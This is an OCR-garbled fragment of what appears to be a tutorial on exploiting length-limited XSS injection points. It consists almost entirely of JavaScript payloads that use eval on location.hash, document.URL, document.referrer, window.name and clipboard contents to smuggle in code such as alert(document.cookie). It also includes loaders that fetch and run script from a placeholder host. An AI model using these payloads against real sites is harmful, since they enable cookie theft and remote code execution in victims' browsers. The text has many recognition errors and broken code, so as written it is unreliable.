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——code
ddiv id="x">R[¥E ML AR </ div>
{limited xss point>alert(/xss/);</limited xss point>
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——code
{div id="x">alert%28document. cookie%29%3B</div>
{limited xss point>eval (unescape (x. innerHTML)) ;<{/limited xss point>
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——code
http://www. xssedsite. com/xssed. php?x=1. ... &alert (document. cookie)

<{limited xss point>eval (document. URL. substr(80)) ;</limited xss point>
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——code
{limited xss point>eval (location. href. substr(80));</limited xss point>
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——code
{limited xss point>eval (document. URL. slice(80)) ;:</limited xss point>
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——code
{limited xss point>eval (location. href.slice(80));</limited xss point>
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——code
http://www. xssedsite. com/xssed. php?x=1. ... #alert (document. cookie)

{limited xss point>eval (location. hash. slice(1));</limited xss point>
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String. fromCharCode
getElementByld
getElementsByTagName
document. write
XMLHTTPRequest
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——code
function $(id) {

return document. getElementByld(id) ;
}
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——code
function loads (url) f{

document. body. appendChild (script) ;
}

<{limited xss point>loads (“http://xxx.com/x”);</limited xss point>
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——code
function get (url) f{

return x.responseText;

}

<{limited xss pointreval (get ("http://xxx.com/x”));</limited xss point>
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2.4.1 document. referrer
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——code
http://www. a. com/attack. html?. .. &alert (document. cookie)

<a href="http://www. xssedsite. com/xssed. php”>go</a>
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——code
{limited xss point>eval (document. referrer. slice(80)) ;</limited xss point>
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——code
{script type="text/javascript”>
=
window. onload = function() {
var f = document. createElement (“form”) ;
f. setAttribute ("method”, “get”);
f. setAttribute ("action”, “http://www. xssedsite. com/xssed. php”) ;
document. body. appendChild (f) ;
f. submit () ;

I
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{/script>
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——code
{script>
clipboardData. setData(“text”, “alert(document. cookie)”);
{/script>
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——code
{limited xss point>eval (clipboardData. getData(“text”)) ;</limited xss point>
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——code
{script>

window. name = “alert (document. cookie)”;

locaton. href = “http://www. xssedsite. com/xssed. php”;
{/script>
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——code
{limited xss point>eval (name) ;</limited xss point>
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